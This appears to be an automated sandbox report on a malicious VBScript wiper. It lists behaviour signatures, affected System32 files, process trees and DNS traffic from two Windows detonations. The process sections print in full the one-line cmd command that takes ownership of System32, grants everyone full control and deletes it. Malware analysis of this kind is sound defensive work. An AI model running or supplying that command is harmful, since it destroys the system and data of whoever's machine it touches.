Analysis Overview
SHA256
766027c771d1c3b89370d1d7022ea3542fb561011e6251ab3dda0913ff3666df
Threat Level: Likely malicious
The file target.vbs was found to be: Likely malicious.
Malicious Activity Summary
Manipulates Digital Signatures
Possible privilege escalation attempt
Checks computer location settings
Modifies file permissions
Drops file in System32 directory
Modifies termsrv.dll
Enumerates physical storage devices
Views/modifies file attributes
Modifies registry class
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Suspicious use of SetWindowsHookEx
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-08-09 20:14
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-08-09 20:14
Reported
2024-08-09 20:17
Platform
win7-20240704-en
Max time kernel
97s
Max time network
19s
Command Line
Signatures
Manipulates Digital Signatures
| Description | Indicator | Process | Target |
| File opened for modification | C:\windows\system32\wintrust.dll | C:\Windows\system32\attrib.exe | N/A |
Possible privilege escalation attempt
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Modifies file permissions
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Drops file in System32 directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\windows\system32\efsui.exe | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\KBDINUK2.DLL | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\ksxbar.ax | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\mfpmp.exe | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\MSMPEG2ENC.DLL | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\cscobj.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\csrr.rs | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\dot3gpclnt.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\newdev.exe | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\oflc.rs | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\RmClient.exe | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\sberes.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\sppobjs.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\C_20297.NLS | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\diantz.exe | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\FXSSVC.exe | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\wlansvc.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\ias.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\RPCNDFP.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\wksprt.exe | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\pstorsvc.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\bcrypt.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\diskc.sys | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\lzhfldr2.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\more.com | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\NlsLexicons0414.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\api-ms-win-crt-convert-l1-1-0.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\ieUnatt.exe | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\IPBusEnumProxy.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\Nlsdl.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\ntprint.exe | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\scksp.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\bitsigd.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\C_21025.NLS | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\Mystify.scr | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\netplwiz.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\WLanConn.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\FWPUCLNT.DLL | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\irclass.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\korean.uce | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\gpscript.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\gpscript.exe | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\msports.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\AzSqlExt.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\Bubbles.scr | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\CRPPresentation.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\msctfui.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\perfc009.dat | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\alg.exe | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\dmrc.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\duser.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\netcfgx.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\OptionalFeatures.exe | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\scext.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\FirewallAPI.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\iasads.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\KBDUZB.DLL | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\NlsLexicons081a.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\srrstr.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\TabbtnEx.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\WinSCard.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\FXSCOVER.exe | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\hdwwiz.cpl | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\msinfo32.exe | C:\Windows\system32\attrib.exe | N/A |
Modifies termsrv.dll
| Description | Indicator | Process | Target |
| File opened for modification | C:\windows\system32\termsrv.dll | C:\Windows\system32\attrib.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\system32\takeown.exe | N/A |
Suspicious use of WriteProcessMemory
Views/modifies file attributes
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\attrib.exe | N/A |
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\target.vbs"
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k attrib -r -s -h c:\windows\system32\* && takeown /f c:\windows\system32\* && icacls c:\windows\system32\* /grant everyone:(F) && del /s /q c:\windows\system32\* && exit
C:\Windows\system32\attrib.exe
attrib -r -s -h c:\windows\system32\*
C:\Windows\system32\takeown.exe
takeown /f c:\windows\system32\*
C:\Windows\system32\icacls.exe
icacls c:\windows\system32\* /grant everyone:(F)
Network
Files
Analysis: behavioral2
Detonation Overview
Submitted
2024-08-09 20:14
Reported
2024-08-09 20:15
Platform
win10v2004-20240802-en
Max time kernel
67s
Max time network
66s
Command Line
Signatures
Manipulates Digital Signatures
| Description | Indicator | Process | Target |
| File opened for modification | C:\windows\system32\wintrust.dll | C:\Windows\system32\attrib.exe | N/A |
Possible privilege escalation attempt
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
Modifies file permissions
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Drops file in System32 directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\windows\system32\MSAMRNBEncoder.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\pots.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\winspool.drv | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\srcore.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\srmlib.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\BarcodeProvisioningPlugin.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\MsCtfMonitor.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\msieftp.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\termmgr.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\wevtutil.exe | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\win32appinventorycsp.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\Windows.Devices.Sensors.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\winipcsecproc.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\WMPhoto.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\dllhost.exe | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\IdListen.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\KBDUR1.DLL | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\omadmprc.exe | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\SpeechPal.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\wlanpref.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\AdmTmpl.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\AppVIntegration.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\cdpusersvc.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\msdtctm.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\MsftOemDllIgneous.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\AboutSettingsHandlers.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\kbd101c.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\UevAppMonitor.exe.config | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\agentactivationruntime.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\DAConn.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\rdrleakdiag.exe | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\uReFS.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\AssignedAccessRuntime.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\C_1251.NLS | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\ReportingCSP.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\vccorlib140.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\WMNetMgr.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\slwga.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\Apphlpdm.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\EventViewer_EventDetails.xsl | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\Geolocation.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\mfh263enc.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\Microsoft.Uev.Office2010CustomActions.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\perfh010.dat | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\winrm.cmd | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\HeadsetSystemToastIcon.contrast-white.png | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\icu.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\KBDUSA.DLL | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\microsoft-windows-sleepstudy-events.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\ProximityCommon.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\w32time.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\C_10006.NLS | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\NOISE.DAT | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\uDWM.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\umpoext.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\wlandlg.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\gpscript.exe | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\mfc140fra.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\TokenBrokerUI.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\wiaservc.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\ETWCoreUIComponentsResources.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\mycomput.dll | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\PhoneSystemToastIcon.contrast-white.png | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\windows\system32\tracerpt.exe | C:\Windows\system32\attrib.exe | N/A |
Modifies termsrv.dll
| Description | Indicator | Process | Target |
| File opened for modification | C:\windows\system32\termsrv.dll | C:\Windows\system32\attrib.exe | N/A |
Enumerates physical storage devices
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\MuiCache | C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\system32\takeown.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 956 wrote to memory of 4308 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\cmd.exe |
| PID 956 wrote to memory of 4308 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\cmd.exe |
| PID 4308 wrote to memory of 3956 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\system32\attrib.exe |
| PID 4308 wrote to memory of 3956 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\system32\attrib.exe |
| PID 4308 wrote to memory of 4972 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\system32\takeown.exe |
| PID 4308 wrote to memory of 4972 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\system32\takeown.exe |
| PID 4308 wrote to memory of 3872 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\system32\icacls.exe |
| PID 4308 wrote to memory of 3872 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\system32\icacls.exe |
Views/modifies file attributes
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\attrib.exe | N/A |
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\target.vbs"
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k attrib -r -s -h c:\windows\system32\* && takeown /f c:\windows\system32\* && icacls c:\windows\system32\* /grant everyone:(F) && del /s /q c:\windows\system32\* && exit
C:\Windows\system32\attrib.exe
attrib -r -s -h c:\windows\system32\*
C:\Windows\system32\takeown.exe
takeown /f c:\windows\system32\*
C:\Windows\system32\icacls.exe
icacls c:\windows\system32\* /grant everyone:(F)
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 196.249.167.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 81.144.22.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 88.156.103.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 228.249.119.40.in-addr.arpa | udp |